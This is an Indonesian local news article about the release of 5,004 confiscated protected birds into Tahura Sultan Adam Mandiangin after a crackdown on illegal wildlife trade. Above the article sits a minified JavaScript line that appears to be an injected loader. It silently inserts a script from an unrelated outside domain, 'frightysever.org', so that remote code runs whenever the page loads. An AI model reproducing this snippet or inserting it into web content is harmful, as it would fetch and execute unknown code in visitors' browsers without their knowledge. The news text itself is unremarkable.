(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Sebanyak 5.004 ekor burung dari 10 spesies berbeda dilepasliarkan di kawasan Taman Hutan Raya (Tahura) Sultan Adam Mandiangin, Rabu (10/7/2024) pagi.
Pelepasliaran satwa dilindungi ini merupakan hasil dari operasi pemberantasan peredaran ilegal satwa liar yang digelar Balai Pengamanan dan Penegakan Hukum Lingkungan Hidup dan Kehutanan Wilayah Kalimantan.
Dalam operasi tersebut, berhasil Balai Pengamanan dan Penegakan Hukum Lingkungan Hidup dan Kehutanan Wilayah Kalimantan menangkap para pelaku dan menyita ribuan ekor burung yang dilindungi.
Baca juga: PWI Pusat Gelar SJI di Kalsel
Di Kalsel sendiri, terdapat 183 spesies burung dengan 43 diantaranya merupakan spesies yang dilindungi.
Gubernur Kalsel diwakili Asisten Administrasi Umum Setda Kalsel, Ahmad Bagiawan menghadiri press release dan pelepasliaran burung hasil sitaan operasi peredaran tumbuhan dan satwa liar di Tahura Sultan Adam, Mandiangin, Kecamatan Karang Intan, Kabupaten Banjar.
Pelepasliaran ini dilakukan karena satwa liar seharusnya hidup di habitat alami, bukan sebagai binatang peliharaan. Langkah ini penting untuk mencegah penularan penyakit dari satwa ke manusia, serta menghindari ancaman kepunahan populasi satwa akibat pembunuhan dan perdagangan ilegal.
Baca juga: Komitmen Bappedalitbang Banjar Jauhi dan Perangi Narkoba
Gubernur Kalsel dalam sambutan menegaskan komitmen pemerintah daerah dalam menjaga dan melestarikan kekayaan alam Indonesia khususnya di Kalsel.
“Acara ini merupakan bukti nyata dari komitmen kita bersama, dalam menjaga dan melestarikan kekayaan alam Indonesia, khususnya di Kalsel,” ujar Asisten Administrasi Umum Setda Kalsel, Ahmad Bagiawan.
Sebagai salah satu daerah yang memiliki keanekaragaman hayati melindungi hutan dan satwa liar menjadi sangat penting.
“Operasi peredaran hasil hutan, tumbuhan, dan satwa liar yang telah dilakukan menunjukkan komitmen kita dalam memerangi perdagangan ilegal yang merusak alam,” jelasnya.
Baca juga: Urban Farming di Banjarbaru Manfaatkan Pekarangan Tanam Sayur dan Buah
Tahura Sultan Adam memiliki karakteristik yang sesuai dengan habitat alami berbagai jenis burung. Memiliki kawasan hutan yang luas dengan pepohonan yang rindang dan sumber air yang melimpah.
Kondisi tersebut, sangat mendukung kelangsungan hidup burung yang dilepaskan kembali ke alam liar.
“Di sini, burung-burung ini dapat mencari makan, berlindung, dan berkembang biak dengan baik,” katanya.
Pelepasliaran ini menjadi simbol komitmen bersama dalam menjaga dan melestarikan kekayaan alam Indonesia, khususnya di Kalsel.
Baca juga: Progres Coklit Pilkada Kalsel 74 Persen, Ini Kendala Pantarlih di Lapangan
Turut hadir pada acara tersebut, Kepala Pengamanan dan Penegakan Hukum Lingkungan Hidup dan Kehutanan Wilayah Kalimantan, Balai Konservasi Sumber Daya Alam Kalsel, perwakilan Forkopimda Kalsel, Kepala Kantor Wilayah Hukum dan HAM Kalsel, Kepala Dinas Kehutanan Kalsel, Kepala UPTD Tahura Sultan Adam, serta tamu undangan lainnya. (Kanalkalimantan.com/bie)
Reporter: bie
Editor: kk
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
KANALKALIMANTAN.COM, BANJARBARU - Di akhir masa tugas yang diemban, Penjabat Sementara (Pjs) Wali Kota Banjarbaru… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyinggung peluang menjemput paksa mantan Gubernur Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sembilan partai politik (Parpol) pemegang kursi Dewan Perwakilan Rakyat Daerah (DPRD) Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
This website uses cookies.